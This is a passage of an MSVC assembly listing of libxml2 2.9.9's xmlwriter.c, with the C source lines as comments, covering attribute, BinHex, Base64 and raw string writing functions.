push 2
push edi
call _xmlWriterErrMsg
; 1881 : "xmlTextWriterStartAttributeNS : out of memory!\n");
; 1882 : xmlFree(p);
push esi
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 1906 : }
or eax, -1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN11@xmlTextWri:
; 1883 : return -1;
; 1884 : }
; 1885 : p->elem = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
call _xmlListFront
mov DWORD PTR [esi+8], eax
; 1886 :
; 1887 : xmlListPushFront(writer->nsstack, p);
push esi
push DWORD PTR [edi+8]
call _xmlListPushFront
mov esi, DWORD PTR _prefix$[ebp]
add esp, 12 ; 0000000cH
$LN15@xmlTextWri:
; 1888 : }
; 1889 : }
; 1890 :
; 1891 : buf = NULL;
mov ebx, DWORD PTR _name$[ebp]
$LN9@xmlTextWri:
xor eax, eax
; 1892 : if (prefix != 0) {
test esi, esi
je SHORT $LN12@xmlTextWri
; 1893 : buf = xmlStrdup(prefix);
push esi
call _xmlStrdup
; 1894 : buf = xmlStrcat(buf, BAD_CAST ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push eax
call _xmlStrcat
add esp, 12 ; 0000000cH
$LN12@xmlTextWri:
; 1895 : }
; 1896 : buf = xmlStrcat(buf, name);
push ebx
push eax
call _xmlStrcat
mov esi, eax
; 1897 :
; 1898 : sum = 0;
; 1899 : count = xmlTextWriterStartAttribute(writer, buf);
push esi
push edi
call _xmlTextWriterStartAttribute
; 1900 : xmlFree(buf);
push esi
mov edi, eax
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 1901 : if (count < 0)
test edi, edi
js $LN3@xmlTextWri
; 1902 : return -1;
; 1903 : sum += count;
; 1904 :
; 1905 : return sum;
mov eax, edi
pop edi
; 1906 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlTextWriterStartAttributeNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartAttribute
_TEXT SEGMENT
_p$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_xmlTextWriterStartAttribute PROC ; COMDAT
; 1763 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN5@xmlTextWri
; 1764 : int count;
; 1765 : int sum;
; 1766 : xmlLinkPtr lk;
; 1767 : xmlTextWriterStackEntry *p;
; 1768 :
; 1769 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov ebx, DWORD PTR _name$[ebp]
test ebx, ebx
je $LN5@xmlTextWri
cmp BYTE PTR [ebx], 0
je $LN5@xmlTextWri
; 1770 : return -1;
; 1771 :
; 1772 : sum = 0;
; 1773 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 1774 : if (lk == 0)
test eax, eax
je $LN5@xmlTextWri
; 1775 : return -1;
; 1776 :
; 1777 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
mov DWORD PTR _p$1$[ebp], eax
; 1778 : if (p == 0)
test eax, eax
je SHORT $LN5@xmlTextWri
; 1779 : return -1;
; 1780 :
; 1781 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
sub eax, 1
je SHORT $LN10@xmlTextWri
sub eax, 1
jne SHORT $LN5@xmlTextWri
; 1782 : case XML_TEXTWRITER_ATTRIBUTE:
; 1783 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 1784 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
$LN10@xmlTextWri:
; 1785 : return -1;
; 1786 : sum += count;
; 1787 : /* fallthrough */
; 1788 : case XML_TEXTWRITER_NAME:
; 1789 : count = xmlOutputBufferWriteString(writer->out, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1790 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 1791 : return -1;
; 1792 : sum += count;
; 1793 : count =
push ebx
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 1794 : xmlOutputBufferWriteString(writer->out,
; 1795 : (const char *) name);
; 1796 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 1797 : return -1;
; 1798 : sum += count;
; 1799 : count = xmlOutputBufferWriteString(writer->out, "=");
push OFFSET ??_C@_01NEMOKFLO@?$DN@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 1800 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 1801 : return -1;
; 1802 : sum += count;
add edi, eax
; 1803 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [esi+28]
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
mov ecx, eax
add esp, 12 ; 0000000cH
; 1804 : if (count < 0)
test ecx, ecx
js SHORT $LN5@xmlTextWri
; 1805 : return -1;
; 1806 : sum += count;
; 1807 : p->state = XML_TEXTWRITER_ATTRIBUTE;
mov eax, DWORD PTR _p$1$[ebp]
mov DWORD PTR [eax+4], 2
lea eax, DWORD PTR [ecx+edi]
pop edi
; 1808 : break;
; 1809 : default:
; 1810 : return -1;
; 1811 : }
; 1812 :
; 1813 : return sum;
; 1814 : }
pop esi
pop ebx
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
_xmlTextWriterStartAttribute ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteBinHex
_TEXT SEGMENT
_sum$1$ = -8 ; size = 4
_data$1$ = -4 ; size = 4
_out$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_data$ = 12 ; size = 4
_start$ = 16 ; size = 4
_len$ = 20 ; size = 4
_xmlTextWriterWriteBinHex PROC ; COMDAT
; 1718 : {
push ebp
mov ebp, esp
sub esp, 8
mov ecx, OFFSET __DA396148_xmlwriter@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN3@xmlTextWri
; 1719 : int count;
; 1720 : int sum;
; 1721 : xmlLinkPtr lk;
; 1722 : xmlTextWriterStackEntry *p;
; 1723 :
; 1724 : if ((writer == NULL) || (data == NULL) || (start < 0) || (len < 0))
mov edi, DWORD PTR _data$[ebp]
test edi, edi
je $LN3@xmlTextWri
cmp DWORD PTR _start$[ebp], 0
jl $LN3@xmlTextWri
mov ebx, DWORD PTR _len$[ebp]
test ebx, ebx
js $LN3@xmlTextWri
; 1725 : return -1;
; 1726 :
; 1727 : sum = 0;
; 1728 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
mov DWORD PTR _sum$1$[ebp], 0
call _xmlListFront
add esp, 4
; 1729 : if (lk != 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 1730 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 1731 : if (p != 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 1732 : count = xmlTextWriterHandleStateDependencies(writer, p);
push eax
push esi
call _xmlTextWriterHandleStateDependencies
add esp, 8
mov DWORD PTR _sum$1$[ebp], eax
; 1733 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
$LN5@xmlTextWri:
; 1734 : return -1;
; 1735 : sum += count;
; 1736 : }
; 1737 : }
; 1738 :
; 1739 : if (writer->indent)
cmp DWORD PTR [esi+16], 0
je SHORT $LN7@xmlTextWri
; 1740 : writer->doindent = 0;
mov DWORD PTR [esi+20], 0
$LN7@xmlTextWri:
; 1741 :
; 1742 : count =
mov eax, DWORD PTR _start$[ebp]
mov ecx, DWORD PTR [esi]
add eax, edi
mov DWORD PTR _data$1$[ebp], eax
mov DWORD PTR _out$1$[ebp], ecx
; 1681 : if ((out == NULL) || (data == NULL) || (len < 0)) {
test ecx, ecx
je SHORT $LN3@xmlTextWri
test eax, eax
je SHORT $LN3@xmlTextWri
; 1682 : return -1;
; 1683 : }
; 1684 :
; 1685 : sum = 0;
xor esi, esi
; 1686 : for (i = 0; i < len; i++) {
xor edi, edi
test ebx, ebx
jle SHORT $LN8@xmlTextWri
$LL13@xmlTextWri:
; 1687 : count =
movzx eax, BYTE PTR [edi+eax]
shr eax, 4
add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9
push eax
push 1
push ecx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1688 : xmlOutputBufferWrite(out, 1,
; 1689 : (const char *) &hex[data[i] >> 4]);
; 1690 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 1691 : return -1;
; 1692 : sum += count;
add esi, eax
; 1693 : count =
mov eax, DWORD PTR _data$1$[ebp]
movzx eax, BYTE PTR [edi+eax]
and eax, 15 ; 0000000fH
add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9
push eax
push 1
push DWORD PTR _out$1$[ebp]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1694 : xmlOutputBufferWrite(out, 1,
; 1695 : (const char *) &hex[data[i] & 0xF]);
; 1696 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 1697 : return -1;
; 1698 : sum += count;
mov ecx, DWORD PTR _out$1$[ebp]
add esi, eax
mov eax, DWORD PTR _data$1$[ebp]
inc edi
cmp edi, ebx
jl SHORT $LL13@xmlTextWri
; 1743 : xmlOutputBufferWriteBinHex(writer->out, len,
; 1744 : (unsigned char *) data + start);
; 1745 : if (count < 0)
test esi, esi
js SHORT $LN3@xmlTextWri
$LN8@xmlTextWri:
; 1746 : return -1;
; 1747 : sum += count;
mov eax, DWORD PTR _sum$1$[ebp]
pop edi
add eax, esi
; 1748 :
; 1749 : return sum;
; 1750 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN3@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlTextWriterWriteBinHex ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteBase64
_TEXT SEGMENT
_data$1$ = -24 ; size = 4
_sum$1$ = -20 ; size = 4
_out$1$ = -16 ; size = 4
_linelen$1$ = -12 ; size = 4
_sum$1$ = -8 ; size = 4
_ogroup$1 = -4 ; size = 4
_igroup$2 = 8 ; size = 3
_writer$ = 8 ; size = 4
_data$ = 12 ; size = 4
_start$ = 16 ; size = 4
_len$ = 20 ; size = 4
_xmlTextWriterWriteBase64 PROC ; COMDAT
; 1625 : {
push ebp
mov ebp, esp
sub esp, 24 ; 00000018H
mov ecx, OFFSET __DA396148_xmlwriter@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN3@xmlTextWri
; 1626 : int count;
; 1627 : int sum;
; 1628 : xmlLinkPtr lk;
; 1629 : xmlTextWriterStackEntry *p;
; 1630 :
; 1631 : if ((writer == NULL) || (data == NULL) || (start < 0) || (len < 0))
mov edi, DWORD PTR _data$[ebp]
test edi, edi
je $LN3@xmlTextWri
cmp DWORD PTR _start$[ebp], 0
jl $LN3@xmlTextWri
mov ebx, DWORD PTR _len$[ebp]
test ebx, ebx
js $LN3@xmlTextWri
; 1632 : return -1;
; 1633 :
; 1634 : sum = 0;
; 1635 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
mov DWORD PTR _sum$1$[ebp], 0
call _xmlListFront
add esp, 4
; 1636 : if (lk != 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 1637 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 1638 : if (p != 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 1639 : count = xmlTextWriterHandleStateDependencies(writer, p);
push eax
push esi
call _xmlTextWriterHandleStateDependencies
add esp, 8
mov DWORD PTR _sum$1$[ebp], eax
; 1640 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
$LN5@xmlTextWri:
; 1641 : return -1;
; 1642 : sum += count;
; 1643 : }
; 1644 : }
; 1645 :
; 1646 : if (writer->indent)
cmp DWORD PTR [esi+16], 0
je SHORT $LN7@xmlTextWri
; 1647 : writer->doindent = 0;
mov DWORD PTR [esi+20], 0
$LN7@xmlTextWri:
; 1648 :
; 1649 : count =
mov eax, DWORD PTR _start$[ebp]
mov ecx, DWORD PTR [esi]
add eax, edi
mov DWORD PTR _data$1$[ebp], eax
mov DWORD PTR _out$1$[ebp], ecx
; 1556 : if ((out == NULL) || (len < 0) || (data == NULL))
test ecx, ecx
je $LN3@xmlTextWri
test eax, eax
je $LN3@xmlTextWri
; 1557 : return(-1);
; 1558 :
; 1559 : linelen = 0;
; 1560 : sum = 0;
xor esi, esi
mov DWORD PTR _linelen$1$[ebp], 0
mov DWORD PTR _sum$1$[ebp], esi
; 1561 :
; 1562 : i = 0;
xor edi, edi
npad 2
$LL11@xmlTextWri:
mov esi, DWORD PTR _data$1$[ebp]
; 1563 : while (1) {
; 1564 : unsigned char igroup[3];
; 1565 : unsigned char ogroup[4];
; 1566 : int c;
; 1567 : int n;
; 1568 :
; 1569 : igroup[0] = igroup[1] = igroup[2] = 0;
; 1570 : for (n = 0; n < 3 && i < len; n++, i++) {
xor eax, eax
mov WORD PTR _igroup$2[ebp+1], 0
mov BYTE PTR _igroup$2[ebp], 0
npad 1
$LL15@xmlTextWri:
cmp edi, ebx
jge SHORT $LN14@xmlTextWri
; 1571 : c = data[i];
; 1572 : igroup[n] = (unsigned char) c;
mov cl, BYTE PTR [edi+esi]
inc edi
mov BYTE PTR _igroup$2[ebp+eax], cl
inc eax
cmp eax, 3
jl SHORT $LL15@xmlTextWri
$LN14@xmlTextWri:
; 1573 : }
; 1574 :
; 1575 : if (n > 0) {
mov esi, DWORD PTR _sum$1$[ebp]
test eax, eax
jle $LN18@xmlTextWri
; 1576 : ogroup[0] = dtable[igroup[0] >> 2];
movzx edx, BYTE PTR _igroup$2[ebp]
; 1577 : ogroup[1] = dtable[((igroup[0] & 3) << 4) | (igroup[1] >> 4)];
movzx esi, BYTE PTR _igroup$2[ebp+1]
mov ecx, edx
shr ecx, 2
and edx, 3
shl edx, 4
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov BYTE PTR _ogroup$1[ebp], cl
mov ecx, esi
shr ecx, 4
; 1578 : ogroup[2] =
and esi, 15 ; 0000000fH
or ecx, edx
shl esi, 2
movzx edx, BYTE PTR _igroup$2[ebp+2]
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov BYTE PTR _ogroup$1[ebp+1], cl
mov ecx, edx
shr ecx, 6
; 1579 : dtable[((igroup[1] & 0xF) << 2) | (igroup[2] >> 6)];
; 1580 : ogroup[3] = dtable[igroup[2] & 0x3F];
and edx, 63 ; 0000003fH
or ecx, esi
mov ch, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[edx]
mov BYTE PTR _ogroup$1[ebp+2], ch
mov BYTE PTR _ogroup$1[ebp+3], cl
; 1581 :
; 1582 : if (n < 3) {
cmp eax, 3
jge SHORT $LN20@xmlTextWri
; 1583 : ogroup[3] = '=';
; 1584 : if (n < 2) {
cmp eax, 2
movzx ecx, ch
mov eax, 61 ; 0000003dH
mov BYTE PTR _ogroup$1[ebp+3], 61 ; 0000003dH
cmovl ecx, eax
mov BYTE PTR _ogroup$1[ebp+2], cl
$LN20@xmlTextWri:
; 1585 : ogroup[2] = '=';
; 1586 : }
; 1587 : }
; 1588 :
; 1589 : if (linelen >= B64LINELEN) {
cmp DWORD PTR _linelen$1$[ebp], 72 ; 00000048H
jl SHORT $LN37@xmlTextWri
; 1590 : count = xmlOutputBufferWrite(out, 2, B64CRLF);
push OFFSET ??_C@_02PCIJFNDE@?$AN?6@
push 2
push DWORD PTR _out$1$[ebp]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1591 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 1592 : return -1;
; 1593 : sum += count;
mov esi, DWORD PTR _sum$1$[ebp]
add esi, eax
; 1594 : linelen = 0;
mov DWORD PTR _linelen$1$[ebp], 0
jmp SHORT $LN21@xmlTextWri
$LN37@xmlTextWri:
; 1585 : ogroup[2] = '=';
; 1586 : }
; 1587 : }
; 1588 :
; 1589 : if (linelen >= B64LINELEN) {
mov esi, DWORD PTR _sum$1$[ebp]
$LN21@xmlTextWri:
; 1595 : }
; 1596 : count = xmlOutputBufferWrite(out, 4, (const char *) ogroup);
lea eax, DWORD PTR _ogroup$1[ebp]
push eax
push 4
push DWORD PTR _out$1$[ebp]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1597 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 1598 : return -1;
; 1599 : sum += count;
add esi, eax
; 1600 :
; 1601 : linelen += 4;
add DWORD PTR _linelen$1$[ebp], 4
mov DWORD PTR _sum$1$[ebp], esi
$LN18@xmlTextWri:
; 1602 : }
; 1603 :
; 1604 : if (i >= len)
cmp edi, ebx
jl $LL11@xmlTextWri
; 1650 : xmlOutputBufferWriteBase64(writer->out, len,
; 1651 : (unsigned char *) data + start);
; 1652 : if (count < 0)
test esi, esi
js SHORT $LN3@xmlTextWri
; 1653 : return -1;
; 1654 : sum += count;
mov eax, DWORD PTR _sum$1$[ebp]
pop edi
add eax, esi
; 1655 :
; 1656 : return sum;
; 1657 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN3@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlTextWriterWriteBase64 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteString
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_content$ = 12 ; size = 4
_xmlTextWriterWriteString PROC ; COMDAT
; 1479 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _writer$[ebp]
test ebx, ebx
je SHORT $LN5@xmlTextWri
; 1480 : int count;
; 1481 : int sum;
; 1482 : xmlLinkPtr lk;
; 1483 : xmlTextWriterStackEntry *p;
; 1484 : xmlChar *buf;
; 1485 :
; 1486 : if ((writer == NULL) || (content == NULL))
mov edi, DWORD PTR _content$[ebp]
test edi, edi
je SHORT $LN5@xmlTextWri
; 1487 : return -1;
; 1488 :
; 1489 : sum = 0;
; 1490 : buf = (xmlChar *) content;
; 1491 : lk = xmlListFront(writer->nodes);
push DWORD PTR [ebx+4]
mov esi, edi
call _xmlListFront
add esp, 4
; 1492 : if (lk != 0) {
test eax, eax
je SHORT $LN10@xmlTextWri
; 1493 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 1494 : if (p != 0) {
test eax, eax
je SHORT $LN10@xmlTextWri
; 1495 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
sub eax, 1
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN9@xmlTextWri
sub eax, 1
jne SHORT $LN10@xmlTextWri
$LN8@xmlTextWri:
; 1496 : case XML_TEXTWRITER_NAME:
; 1497 : case XML_TEXTWRITER_TEXT:
; 1498 : #if 0
; 1499 : buf = NULL;
; 1500 : xmlOutputBufferWriteEscape(writer->out, content, NULL);
; 1501 : #endif
; 1502 : buf = xmlEncodeSpecialChars(NULL, content);
push edi
push 0
call _xmlEncodeSpecialChars
add esp, 8
mov esi, eax
$LN10@xmlTextWri:
; 1507 : writer->doc, NULL, content);
; 1508 : break;
; 1509 : default:
; 1510 : break;
; 1511 : }
; 1512 : }
; 1513 : }
; 1514 :
; 1515 : if (buf != NULL) {
test esi, esi
je SHORT $LN17@xmlTextWri
; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content));
push esi
call _xmlStrlen
push eax
push esi
push ebx
call _xmlTextWriterWriteRawLen
add esp, 16 ; 00000010H
; 1516 : count = xmlTextWriterWriteRaw(writer, buf);
mov ebx, eax
; 1517 :
; 1518 : if (buf != content) /* buf was allocated by us, so free it */
cmp esi, edi
je SHORT $LN12@xmlTextWri
; 1519 : xmlFree(buf);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN12@xmlTextWri:
; 1520 :
; 1521 : if (count < 0)
test ebx, ebx
jns SHORT $LN11@xmlTextWri
$LN5@xmlTextWri:
pop edi
; 1527 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN9@xmlTextWri:
; 1503 : break;
; 1504 : case XML_TEXTWRITER_ATTRIBUTE:
; 1505 : buf = NULL;
; 1506 : xmlBufAttrSerializeTxtContent(writer->out->buffer,
mov eax, DWORD PTR [ebx]
push edi
push 0
push DWORD PTR [ebx+40]
push DWORD PTR [eax+16]
call _xmlBufAttrSerializeTxtContent
add esp, 16 ; 00000010H
$LN17@xmlTextWri:
; 1522 : return -1;
; 1523 : sum += count;
; 1524 : }
; 1525 :
; 1526 : return sum;
xor ebx, ebx
$LN11@xmlTextWri:
pop edi
; 1527 : }
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatString
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_argptr$ = 16 ; size = 4
_xmlTextWriterWriteVFormatString PROC ; COMDAT
; 1451 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
; 1452 : int rc;
; 1453 : xmlChar *buf;
; 1454 :
; 1455 : if ((writer == NULL) || (format == NULL))
mov eax, DWORD PTR _format$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 1457 :
; 1458 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push eax
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 1459 : if (buf == NULL)
test edi, edi
je SHORT $LN3@xmlTextWri
; 1460 : return -1;
; 1461 :
; 1462 : rc = xmlTextWriterWriteString(writer, buf);
push edi
push esi
call _xmlTextWriterWriteString
; 1463 :
; 1464 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 12 ; 0000000cH
; 1465 : return rc;
mov eax, esi
pop edi
; 1466 : }
pop esi
pop ebp
ret 0
$LN3@xmlTextWri:
pop edi
; 1456 : return -1;
or eax, -1
; 1466 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatString
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_xmlTextWriterWriteFormatString PROC ; COMDAT
; 1423 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _writer$[ebp]
test ecx, ecx
je SHORT $LN3@xmlTextWri
; 1424 : int rc;
; 1425 : va_list ap;
; 1426 :
; 1427 : if ((writer == NULL) || (format == NULL))
mov eax, DWORD PTR _format$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 1429 :
; 1430 : va_start(ap, format);
; 1431 :
; 1432 : rc = xmlTextWriterWriteVFormatString(writer, format, ap);
lea edx, DWORD PTR _format$[ebp+4]
push edx
push eax
push ecx
call _xmlTextWriterWriteVFormatString
add esp, 12 ; 0000000cH
; 1433 :
; 1434 : va_end(ap);
; 1435 : return rc;
; 1436 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 1428 : return -1;
or eax, -1
; 1433 :
; 1434 : va_end(ap);
; 1435 : return rc;
; 1436 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteRaw
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_content$ = 12 ; size = 4
_xmlTextWriterWriteRaw PROC ; COMDAT
; 1406 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _content$[ebp]
call _xmlStrlen
push eax
push DWORD PTR _content$[ebp]
push DWORD PTR _writer$[ebp]
call _xmlTextWriterWriteRawLen
add esp, 16 ; 00000010H
; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content));
; 1408 : }
pop ebp
ret 0
_xmlTextWriterWriteRaw ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteRawLen
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_content$ = 12 ; size = 4
_len$ = 16 ; size = 4
_xmlTextWriterWriteRawLen PROC ; COMDAT
; 1353 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN2@xmlTextWri
; 1354 : int count;
; 1355 : int sum;
; 1356 : xmlLinkPtr lk;
; 1357 : xmlTextWriterStackEntry *p;
; 1358 :
; 1359 : if (writer == NULL) {
; 1360 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 1361 : "xmlTextWriterWriteRawLen : invalid writer!\n");
; 1362 : return -1;
or eax, -1
pop esi
; 1390 : }
; 1391 :
; 1392 : return sum;
; 1393 : }
pop ebp
ret 0
$LN2@xmlTextWri:
; 1363 : }
; 1364 :
; 1365 : if ((content == NULL) || (len < 0)) {
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN4@xmlTextWri
cmp DWORD PTR _len$[ebp], 0
jl SHORT $LN4@xmlTextWri
; 1369 : }
; 1370 :
; 1371 : sum = 0;
push edi
; 1372 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 1373 : if (lk != 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 1374 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
; 1375 : count = xmlTextWriterHandleStateDependencies(writer, p);
push eax
push esi
call _xmlTextWriterHandleStateDependencies
mov edi, eax
add esp, 12 ; 0000000cH
; 1376 : if (count < 0)
test edi, edi
js SHORT $LN11@xmlTextWri
$LN5@xmlTextWri:
; 1377 : return -1;
; 1378 : sum += count;
; 1379 : }
; 1380 :
; 1381 : if (writer->indent)
cmp DWORD PTR [esi+16], 0
je SHORT $LN7@xmlTextWri
; 1382 : writer->doindent = 0;
mov DWORD PTR [esi+20], 0
$LN7@xmlTextWri:
; 1383 :
; 1384 : if (content != NULL) {
; 1385 : count =
push DWORD PTR _content$[ebp]
push DWORD PTR _len$[ebp]
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1386 : xmlOutputBufferWrite(writer->out, len, (const char *) content);
; 1387 : if (count < 0)
test eax, eax
jns SHORT $LN9@xmlTextWri
$LN11@xmlTextWri:
pop edi
; 1388 : return -1;
or eax, -1
pop esi
; 1390 : }
; 1391 :
; 1392 : return sum;
; 1393 : }
pop ebp
ret 0
$LN9@xmlTextWri:
; 1389 : sum += count;
add eax, edi
pop edi
pop esi
; 1390 : }
; 1391 :
; 1392 : return sum;
; 1393 : }
pop ebp
ret 0
$LN4@xmlTextWri:
; 1366 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 1367 : "xmlTextWriterWriteRawLen : invalid content!\n");
; 1368 : return -1;
or eax, -1
pop esi
; 1390 : }
; 1391 :
; 1392 : return sum;
; 1393 : }
pop ebp
ret 0
